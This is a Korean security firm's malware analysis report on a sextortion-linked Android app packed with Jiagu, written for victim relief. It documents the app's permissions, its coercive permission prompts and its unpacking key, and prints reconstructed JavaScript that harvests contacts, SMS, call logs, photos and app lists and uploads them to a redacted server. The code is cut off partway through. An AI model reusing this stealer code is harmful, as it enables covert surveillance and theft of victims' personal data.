伪恋圈 (위연권) 상세 분석 보고서

APK_1757 (UniApp Jiagu) 심층 분석 보고서

> 보고서 버전: v2.0 (심층 코드 분석 확장)

> 분석 일자: 2025-09-08 ~ 2025-09-09

> v2.0 확장: 2026-02-14

> 분석 기관: 주식회사 아크링크 (378-88-03382)

> 분석가: [비공개] 대표

> 위협 등급: CRITICAL (CVSS 3.1: 9.4)

> 프레임워크: DCloud UniApp (H5+ Hybrid)

> 보호: Jiagu by Frezrik (XOR Encrypted DEX)

> 프로젝트: Project 14 - Jiagu 보호 우회

> 취약점: 20개 | 공격 기법: 25개 | 코딩 실수: 12개

1. 앱 기본 정보

항목 · 값

**파일명** · 1757327090734.apk

**패키지명** · uni.werhb.mwfcekdckql

**앱 이름** · 伪恋圈 (위련권, "가짜 연애 서클")

**앱 ID** · __UNI__251AF05

**앱 버전** · 2.1.39 (코드: 2025)

**프레임워크** · DCloud UniApp (H5+ Hybrid WebView)

**메인 액티비티** · io.dcloud.PandoraEntry

**Application 클래스** · com.frezrik.jiagu.StubApp (보호 스텁)

**minSdkVersion** · 21 (Android 5.0 Lollipop)

**targetSdkVersion** · 35 (Android 15)

**APK 크기** · 17.4 MB

**채널** · DCLOUD_STREAMAPP_CHANNEL: common

**광고 ID** · 126609040308

**보호 시스템** · Jiagu (加固) by Frezrik

**암호화 방식** · XOR 암호화 DEX (키: ab1234cd)

1.1 UniApp 프레임워크 구조

DCloud UniApp은 Vue.js 기반의 크로스 플랫폼 하이브리드 앱 프레임워크이다. 네이티브 Android 컨테이너(PandoraEntry) 내에서 WebView로 HTML/CSS/JavaScript 앱을 실행한다. 핵심 비즈니스 로직은 JavaScript(app-service.js) 내에 존재한다.

1.2 manifest.json 정보

```json

{

"id": "__UNI__251AF05",

"name": "伪恋圈",

"version": { "name": "2.1.39", "code": 2025 },

"permissions": {

"Contacts": { "description": "Contacts" },

"Camera": { "description": "Camera" },

"UniNView": { "description": "UniNView" }

},

"plus": {

"splashscreen": { "autoclose": true, "delay": 0 },

"statusbar": { "immersed": "supportedDevice", "style": "dark" },

"uni-app": { "compilerVersion": "4.75", "control": "uni-v3" }

}

}

```

2. 권한 분석

2.1 AndroidManifest.xml 요청 권한

총 33개 이상의 권한이 요청되며, 대다수가 개인정보 탈취에 직접 관련된다.

권한 · 위험도 · 피해 시나리오

`READ_SMS` · **Critical** · SMS 메시지 전체 탈취 (인증번호, 금융 알림 포함)

`RECEIVE_SMS` · **Critical** · 수신 SMS 실시간 가로채기 (OTP 탈취)

`SEND_SMS` · **Critical** · [피해자 정보 비공개] 스미싱 발송

`READ_CONTACTS` · **Critical** · 연락처 전체 탈취 후 2차 피싱

`WRITE_CONTACTS` · **High** · 연락처 위변조

`READ_CALL_LOG` · **Critical** · 통화기록 탈취 (50건 이상)

`WRITE_CALL_LOG` · **High** · 통화기록 조작으로 증거 인멸

`CALL_PHONE` · **High** · 무단 전화 발신, 과금 유발

`READ_PHONE_STATE` · **High** · IMEI, 전화번호, SIM 정보 수집

`ACCESS_FINE_LOCATION` · **High** · GPS 기반 정밀 위치 추적

`ACCESS_COARSE_LOCATION` · Medium · 대략적 위치 파악

`RECORD_AUDIO` · **High** · 주변 소리 녹음, 통화 도청

`CAMERA` · **High** · 원격 사진 촬영, 사생활 침해

`GET_ACCOUNTS` · Medium · Google 계정 정보 수집

`READ_EXTERNAL_STORAGE` · **High** · 사진, 문서 파일 탈취 (300건 이상)

`WRITE_EXTERNAL_STORAGE` · Medium · 파일 조작

`READ_MEDIA_IMAGES` · **High** · 이미지 파일 탈취

`READ_MEDIA_VIDEO` · Medium · 동영상 파일 탈취

`READ_MEDIA_VISUAL_USER_SELECTED` · Medium · 사용자 선택 미디어 접근

`INTERNET` · Normal · C2 서버 통신

`ACCESS_NETWORK_STATE` · Normal · 네트워크 상태 확인

`ACCESS_WIFI_STATE` · Normal · WiFi 정보 수집

`CHANGE_NETWORK_STATE` · Medium · 네트워크 설정 변경

`CHANGE_WIFI_STATE` · Medium · WiFi 설정 변경

`INSTALL_PACKAGES` · **High** · 추가 악성앱 설치

`REQUEST_INSTALL_PACKAGES` · **High** · 앱 설치 요청

`BROADCAST_SMS` · **Critical** · SMS 브로드캐스트 가로채기

`MODIFY_AUDIO_SETTINGS` · Medium · 오디오 설정 변경

`FLASHLIGHT` · Low · 플래시 제어

`GET_TASKS` · Medium · 실행 중인 앱 목록 수집

`READ_LOGS` · Medium · 시스템 로그 읽기

`SET_ALARM` · Low · 알람 설정

`VIBRATE` · Low · 진동

`WAKE_LOCK` · Low · 화면 유지

2.2 권한 요청 UI 흐름

app-service.js 분석 결과, 앱은 다음 순서로 권한을 강제 요청한다:

```

1. 앱 실행 -> 로고 화면 표시

2. stateContact: READ_CONTACTS 권한 요청 팝업

· "거부" 클릭 시 앱 강제 종료 (outApp())

3. stateSMS: READ_SMS 권한 요청 팝업

· "거부" 클릭 시 앱 강제 종료

4. stateTh: READ_CALL_LOG 권한 요청 팝업

· "거부" 클릭 시 앱 강제 종료

5. statePhoto: READ_EXTERNAL_STORAGE 권한 요청 팝업

· "거부" 클릭 시 앱 강제 종료

6. 모든 권한 허용 후 -> 로그인 화면 (전화번호 + 초대코드)

```

피해자가 하나라도 권한을 거부하면 outApp() 함수가 호출되어 앱이 즉시 종료됨. 이는 모든 권한 획득이 완료될 때까지 앱 사용을 차단하는 강제 전략이다.

3. 코드 구조 분석

3.1 앱 전체 아키텍처

```

1757327090734.apk (17.4 MB)

├── classes.dex (16,928,276 bytes) - Jiagu StubApp 보호 코드

├── assets/

│ ├── 39285EFA.dex (71,500 bytes) - XOR 암호화된 실제 DEX

│ ├── libjiagu.so (133 KB) - 32비트 보호 라이브러리

│ ├── libjiagu_64.so (240 KB) - 64비트 보호 라이브러리

│ ├── libjiagu_x86.so (235 KB)

│ ├── libjiagu_x86_64.so (264 KB)

│ └── apps/__UNI__251AF05/www/

│ ├── app-service.js [핵심 악성 로직]

│ ├── app-config.js [웹팩 설정]

│ ├── app-config-service.js

│ ├── app-view.js [UI 렌더링]

│ ├── view.css [스타일시트]

│ ├── view.umd.min.js [Vue.js 런타임]

│ ├── manifest.json [앱 메타데이터]

│ ├── androidPrivacy.json [개인정보 처리방침]

│ ├── __uniappview.html [WebView 메인 페이지]

│ └── static/

│ ├── 1.jpg [유인용 이미지 1]

│ ├── 2.jpg [유인용 이미지 2]

│ └── android/drawable-*/ [스플래시 이미지]

├── lib/arm64-v8a/

│ └── lib39285EFA.so (154 KB) - 네이티브 로더 (DexClassLoader)

└── res/ (DCloud 리소스)

```

3.2 Jiagu 보호 구조

```

실행 흐름:

1단계: com.frezrik.jiagu.StubApp 실행 (Java)

2단계: lib39285EFA.so 네이티브 라이브러리 로드

3단계: libjiagu_64.so 동적 복사 (/data/data/.jiagu/)

4단계: assets/39285EFA.dex XOR 복호화 (키: ab1234cd)

5단계: DexClassLoader로 복호화된 DEX 동적 로드

6단계: io.dcloud.PandoraEntry 실행 -> WebView 로드

7단계: app-service.js 실행 -> 악성 동작 시작

```

3.3 app-service.js 핵심 분석 (악성 코드)

app-service.js에서 발견된 주요 악성 기능:

3.3.1 데이터 수집 함수

```javascript

// 연락처 수집

getLXRCkb: function(callback) {

plus.contacts.getAddressBook(

plus.contacts.ADDRESSBOOK_PHONE,

function(addressBook) {

addressBook.find(

["displayName", "phoneNumbers"],

function(contacts) {

// 모든 연락처의 이름 + 전화번호 수집

}

);

}

);

}

// SMS 수집

getmsgInfo: function() {

// content://sms/ ContentProvider로 최대 300건 SMS 수집

// address(발신자), body(내용), date(일시), type(유형) 수집

}

// 통화기록 수집

getCalllog: function(callback) {

// CallLog.Calls.CONTENT_URI로 최대 50건 통화기록 수집

// 이름, 전화번호, 통화시간, 날짜, 유형(수신/발신/부재) 수집

}

// 이미지 수집

getImageList1: function() {

// MediaStore.Images.Media로 최대 300장 이미지 경로 수집

}

// 설치된 앱 목록 수집

getAppList: function() {

// PackageManager.getInstalledPackages로 비시스템 앱 목록 수집

}

```

3.3.2 서버 전송 로직

```javascript

// 메인 API 서버 설정

Vue.prototype.AppUrl = "[비공개]

// 로그인 + 데이터 전송 흐름

loginFn: function() {

// 1. 전화번호 검증 (8-11자리)

// 2. 초대코드 검증 (4-6자리)

// 3. 통화기록 수집 -> getCalllog()

// 4. 연락처 수집 -> getLXRCkb()

// 5. 연락처+통화기록+앱목록+SMS 전체를 하나의 문자열로 결합

// 6. POST /uploads/api 로 전송

// 7. 성공 시 -> getUserId() -> 이미지 업로드 시작

// 8. SMS 별도 전송 -> POST /uploads/apisms

}

// 데이터 전송 포맷

uploadsTxl: function() {

var data = phone + "_" + randomCode

+ "**" + inviteCode

+ "**" + deviceVendor

+ "_" + contactCount

+ "_" + imageCount

+ "_" + smsCount

+ "_##_" + appListNames

+ "_##_" + callLogData;

// 연락처 데이터 결합

for (var i = 0; i < contacts.length; i++) {

data += "=" + contactName + "|" + phoneNumber;

}

// POST 전송

uni.request({

url: AppUrl + "uploads/api",

data: { data: data }

});

}

```

3.4 JavaScript 심층 코드 분석 (v2.0 신규)

3.4.1 데이터 정제 패턴 (Sanitization Chain)

모든 수집 함수에 동일한 6중 특수문자 제거 체인이 적용된다. 이는 커스텀 구분자(**, ##, =, |, _, #)와의 충돌 방지를 위한 것이다.

```javascript

// 모든 수집 데이터에 적용되는 정제 체인 (6회 반복 패턴)

name.replace(/#/g,"").replace(/_/g,"").replace(/\*/g,"")

.replace(/=/g,"").replace(/|/g,"").replace(/\+/g,"")

```

적용 위치 분석:

함수 · 적용 대상 · try-catch 래핑 · 비고

`getAppList()` · `appName` · O · 앱 이름에서 제거

`getCalllog()` · `CACHED_NAME`, `NUMBER` · O (각각 별도) · null 체크 후 정제

`uploadsTxl()` · `displayName`, `phoneNumbers[0].value` · O (각각 별도) · "XX", "077" 폴백

`getmsgInfo()` · 미적용 · - · **SMS는 정제 없이 전송**

`getLXRCkb()` · 미적용 · - · 원본 그대로 수집

핵심 발견: SMS 메시지 본문(body)과 발신자(address)에는 정제가 적용되지 않는다. 이는 SMS 데이터가 JSON 형태(uploadsMsg)로 별도 전송되므로 구분자 충돌이 없기 때문이다. 반면 연락처 데이터는 =와 |로 구분된 단일 문자열로 결합되므로 정제가 필수적이다.

3.4.2 에러 핸들링 패턴 (System Error HTML 파싱)

getUserId() 응답에서 서버 에러 발생 시 HTML 응답을 파싱하는 독특한 패턴이 존재한다:

```javascript

getUserId: function() {

uni.request({

url: this.AppUrl + "uploads/getuserid",

data: { mobile: this.phone + "_" + this.shujishu },

// ...

success: function(n) {

if (1 == n.data.code) {

// 정상: userId 발급 → 이미지 업로드 시작

e.userId = n.data.data;

e.uploadsImageList();

} else {

// 에러 핸들링: HTML 응답 파싱

if (-1 != n.data?.msg.indexOf("html") &&

-1 != n.data?.msg.indexOf("System Error") &&

-1 != n.data?.msg.indexOf("</style>")) {

// HTML 에러 페이지에서 </style> 이후 텍스트만 추출

uni.showToast({

title: (n.data?.msg ?? "").split("</style>")[1],

duration: 4000

});

} else {

// 일반 에러 메시지 표시

uni.showToast({ title: n.data?.msg ?? "", duration: 3000 });

}

}

}

});

}

```

이 패턴은 서버가 RuoYi/Spring Boot 계열의 에러 페이지를 반환할 때, HTML 태그를 제거하고 사용자에게 의미 있는 에러 메시지만 표시하기 위한 것이다. </style> 태그를 기준으로 분할하는 것은 RuoYi 기본 에러 템플릿의 구조를 활용한 것이다.

3.4.3 카운트다운 타이머 메커니즘 (90초)

데이터 전송 완료 후 90초 카운트다운이 시작되며, 이 시간 동안 피해자에게 "로딩 중" UI를 표시하면서 백그라운드에서 이미지/SMS 업로드를 완료한다:

```javascript

startCountdown: function() {

this.showCountdown = true; // 카운트다운 UI 표시

this.countdownTimer && clearInterval(this.countdownTimer); // 기존 타이머 정리

this.countdownTimer = setInterval(function() {

if (e.countdownTime > 0) {

e.countdownTime--; // 1초마다 감소

} else {

clearInterval(e.countdownTimer);

e.countdownTimer = null;

e.showCountdown = false;

// 90초 후 WebView 페이지로 이동 (피해자에게 정상 앱처럼 보이게)

uni.navigateTo({ url: "/pages/html/html" });

}

}, 1000); // 1초 간격

}

```

타이밍 분석:

```

T+0s: uploadsTxl() 성공 → "正在加载列表" 응답

T+0s: startCountdown() 호출 (90초 시작)

T+0s: getUserId() 호출

T+3s: uploadsMsg() 호출 (SMS 전송, 60초 타임아웃)

T+~5s: userId 수신 → uploadsImageList() 시작

T+5~90s: 이미지 300장 순차 업로드 (압축 후)

T+90s: WebView 페이지로 이동 (데이터 전송 완료 여부 무관)

```

90초는 300장의 이미지를 압축(600px/60%)하고 업로드하기에 충분한 시간으로 설계되어 있다.

3.4.4 loginFn 60초 타임아웃 방어

로그인 함수에 60초 타임아웃이 설정되어 있어, 네트워크 지연이나 서버 무응답 시 UI가 영구적으로 로딩 상태에 빠지는 것을 방지한다:

```javascript

loginFn: function() {

this.loginState = true; // 중복 클릭 방지 플래그

// 60초 타임아웃 방어

setTimeout(function() {

if (t.loginState) {

t.loginState = false;

uni.hideLoading();

uni.showToast({ title: "操作超时,请重试", duration: 2000 });

// "작업 시간초과, 재시도하세요"

}

}, 60000); // 60초

uni.showLoading({ title: "正在登录中..." });

// "로그인 중..."

// getCalllog → getLXRCkb → uploadsTxl 체인 시작

this.getCalllog(function(callData) {

t.phonethjl = callData;

t.getLXRCkb(function() {

setTimeout(function() { t.uploadsTxl(); }, 5000);

// 연락처 수집 후 5초 대기 → 전송

});

});

}

```

실행 체인 분석:

```

loginFn()

├── loginState = true (중복 방지)

├── setTimeout(60s) → 타임아웃 감시

├── getCalllog(callback) [1초 후 결과]

│ └── callback → getLXRCkb(callback) [비동기]

│ └── callback → setTimeout(5s)

│ └── uploadsTxl() [5초 대기 후 전송]

│ ├── 성공: startCountdown() + getUserId() + uploadsMsg(3초 후)

│ └── 실패: VPN 유도 모달

└── (이미 SMS/이미지는 onShow()에서 사전 수집 완료)

```

3.4.5 초대코드 검증 로직

초대코드(code)는 클라이언트 측에서 기본적인 형식 검증만 수행하며, 실제 유효성은 서버에서 검증한다:

```javascript

// 클라이언트 검증

setCode: function(t) {

var e = t.detail.value.replace(/\s+/g, ""); // 공백 제거

e = e.replace(/[^0-9]/g, ""); // 숫자만 허용

e.length > 6 && (e = e.substring(0, 6)); // 최대 6자리

this.code = e;

}

// loginFn 내 검증

if (this.code.length < 4 || this.code.length > 6) {

uni.showToast({ title: "邀请码长度必须为4-6位!" }); // 4~6자리 필수

return;

}

```

초대코드 의미: 4~6자리 숫자로, 조직 내 [피해자 정보 비공개] 경로를 추적하는 데 사용된다. 각 조직원에게 고유 초대코드를 발급하여 "실적 관리"에 활용한다.

3.4.6 iOS 권한 코드 잔재 분석 (permission.js)

permission.js 모듈에는 iOS 전용 코드가 대량으로 존재한다. 이는 UniApp의 크로스 플랫폼 특성상 iOS/Android 코드가 동일 소스에 포함되기 때문이다:

```javascript

// permission.js - iOS 권한 체크 코드 (Android APK에 포함됨)

n = "iOS" == plus.os.name; // 플랫폼 판별

// iOS 위치 권한 체크

var n = plus.ios.import("CLLocationManager");

var i = n.authorizationStatus(); // 2 = denied, 3 = authorized

// iOS 카메라 권한 체크

var n = plus.ios.import("AVCaptureDevice");

var i = n.authorizationStatusForMediaType("vide"); // "vide" = video

// iOS 연락처 권한 체크

var n = plus.ios.import("CNContactStore");

var i = n.authorizationStatusForEntityType(0); // 0 = contacts

// iOS 마이크 권한 체크

var n = plus.ios.import("AVAudioSession");

var o = i.recordPermission();

// 1684369017 = AVAudioSessionRecordPermissionUndetermined

// 1970168948 = AVAudioSessionRecordPermissionDenied

// iOS 앱 종료 (Android와 다른 방법)

plus.ios.import("UIApplication").sharedApplication().performSelector("exit");

```

발견된 iOS API 참조:

iOS API · 용도 · Android 대응

`CLLocationManager` · 위치 권한 · `android.permission.ACCESS_FINE_LOCATION`

`AVCaptureDevice` · 카메라 권한 · `android.permission.CAMERA`

`PHPhotoLibrary` · 사진 라이브러리 · `android.permission.READ_EXTERNAL_STORAGE`

`AVAudioSession` · 마이크 권한 · `android.permission.RECORD_AUDIO`

`CNContactStore` · 연락처 권한 · `android.permission.READ_CONTACTS`

`EKEventStore` · 캘린더/메모 · 사용되지 않음

`UIApplication` · 앱 종료 · `plus.runtime.quit()`

이는 동일 악성 앱이 iOS 버전으로도 배포되었거나, 배포를 계획하고 있음을 시사한다. iOS에서는 plus.ios.import()를 통해 Objective-C 런타임에 직접 접근하는 기법을 사용한다.

3.4.7 데이터 수집 사전 실행 (onShow 메커니즘)

onShow() 라이프사이클 훅에서 로그인 전에 이미 데이터 수집을 시작하는 전략이 사용된다:

```javascript

onShow: function() {

this.loginState = false;

// 연락처 권한 요청 (최초 1회)

null == this.stateContact && permission.requestAndroidPermission(

"android.permission.READ_CONTACTS"

).then(function(e) { t.stateContact = 1 != e; });

// SMS 권한 + 즉시 수집 (로그인 전!)

null == this.stateSMS && permission.requestAndroidPermission(

"android.permission.READ_SMS"

).then(function(e) {

if (1 == e) {

t.stateSMS = false;

if (0 == t.msgList.length) t.getmsgInfo(); // SMS 즉시 수집

} else { t.stateSMS = true; }

});

// 사진 권한 + 즉시 수집 (로그인 전!)

null == this.statePhoto && permission.requestAndroidPermission(

"android.permission.READ_EXTERNAL_STORAGE"

).then(function(e) {

if (1 == e) {

t.statePhoto = false;

if (0 == t.imageListPath.length) t.getImageList1(); // 이미지 즉시 수집

} else { t.statePhoto = true; }

});

// 앱 목록 수집 (5초 후 - 로그인 전!)

"" == this.appListName && setTimeout(function() { t.getAppList(); }, 5000);

}

```

사전 수집 전략: 권한이 허용되는 즉시, 로그인 버튼을 누르기도 전에 SMS(300건), 이미지 경로(300장), 앱 목록이 메모리에 수집된다. 이후 로그인 시 이미 수집된 데이터를 즉시 전송하므로, 서버 전송 시간이 크게 단축된다.

3.4.8 getCalllog 통화기록 수집 상세

통화기록 수집에서 ContentResolver 쿼리를 1초 setTimeout으로 래핑하는 독특한 패턴이 존재한다:

```javascript

getCalllog: function(callback) {

var n = plus.android.importClass("android.provider.CallLog");

var resolver = activity.getContentResolver();

var cursor = resolver.query(

n.Calls.CONTENT_URI, // content://call_log/calls

null, // 모든 컬럼

null, // WHERE 없음 (전체)

null, // 파라미터 없음

n.Calls.DEFAULT_SORT_ORDER // 최신순 정렬

);

setTimeout(function() { // 1초 대기 후 처리

var records = [];

var count = 0;

// 통화 유형 해석

var typeMap = function(t) {

switch(parseInt(t ?? 4)) {

case 1: return "呼入"; // 수신

case 2: return "呼出"; // 발신

case 3: return "未接"; // 부재중

default: return "挂断"; // 끊어짐

}

};

while(cursor.moveToNext()) {

count++;

var name = cursor.getString(cursor.getColumnIndex(n.Calls.CACHED_NAME));

var number = cursor.getString(cursor.getColumnIndex(n.Calls.NUMBER));

var duration = cursor.getString(cursor.getColumnIndex(n.Calls.DURATION));

var date = cursor.getString(cursor.getColumnIndex(n.Calls.DATE));

var type = cursor.getString(cursor.getColumnIndex(n.Calls.TYPE));

// sanitization 적용

name = (name == null ? "" : name).replace(/#/g,"")...

number = (number == null ? "" : number).replace(/#/g,"")...

records.push({

xm: name, telphone: number, duration: duration,

date: formatDate(date), type: typeMap(type)

});

if (count > 50) break; // 최대 50건

}

// 결합 문자열 생성 (# 구분자)

var result = "";

for (var i = 0; i < records.length; i++) {

if (result != "") result += "#";

result += records[i].xm + "_" + records[i].telphone + "_" +

records[i].duration + "_" + records[i].date + "_" +

records[i].type;

}

callback(result);

}, 1000); // 1초 대기

}

```

수집 필드: 이름(CACHED_NAME), 전화번호(NUMBER), 통화시간(DURATION), 날짜(DATE), 유형(TYPE)

1초 setTimeout의 의미: ContentResolver.query()가 JavaScript 브릿지를 통해 비동기로 실행되므로, cursor가 완전히 준비될 때까지 1초 대기하는 것이다. 이는 네이티브 API와 JavaScript 간의 동기화 문제를 회피하기 위한 해킹적 방법이다.

3.4.9 이미지 업로드 파이프라인

이미지는 압축 후 순차적으로 업로드된다:

```javascript

uploadsImageList: function() {

for (var t = 0; t < this.imageListPath.length; t++)

this.fetchFileData("file://" + this.imageListPath[t]);

},

fetchFileData: function(filePath) {

uni.compressImage({

src: filePath,

width: 600, // 가로 600px로 리사이즈

quality: 60, // 60% 품질

success: function(compressed) {

uni.uploadFile({

url: n.AppUrl + "uploads/img",

filePath: compressed.tempFilePath,

name: "data",

formData: { id: n.userId },

success: function(resul

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr